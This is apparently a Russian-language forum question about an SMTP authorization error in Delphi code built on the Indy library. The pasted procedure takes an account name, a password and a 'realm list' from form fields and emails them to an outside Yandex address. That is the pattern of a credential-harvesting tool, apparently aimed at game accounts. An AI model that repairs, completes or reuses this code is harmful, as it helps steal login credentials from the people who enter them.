При попытке отправить вылазит Administrative prohibition -- authorization required. Users in your domain are not allowed to send email without authorization (ЛОГИН И ПАРОЛЬ ПРАВИЛЬНЫЙ.)
Что делать?
Код:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | procedure TForm1 . Button1Click(Sender: TObject);
var
mes: TIdMessage;
x,m,z: string ;
begin
mes:=TIdMessage . Create(Form1);
IdSMTP1 . Host:= 'smtp.mail.ru' ;
IdSMTP1 . Port:= 25 ;
IdSMTP1 . AuthType := satNone;
IdSMTP1 . Username:= 'myMail@mail.ru' ;
IdSMTP1 . Password:= 'myPass' ;
with mes do
begin
x:=edit1 . text;
m:=edit2 . text;
z:=edit3 . text;
Body . Add( 'Realm list: ' +x);
From . Text := 'mailtest@mail.ru' ;
Recipients . EMailAddresses := '123123@yandex.ru' ;
Subject := 'Account: ' +m + 'Password: ' +z ;
end ;
IdSMTP1 . Connect;
If IdSMTP1 . Connected Then IdSMTP1 . Send(mes);
IdSMTP1 . Disconnect;
end ;
|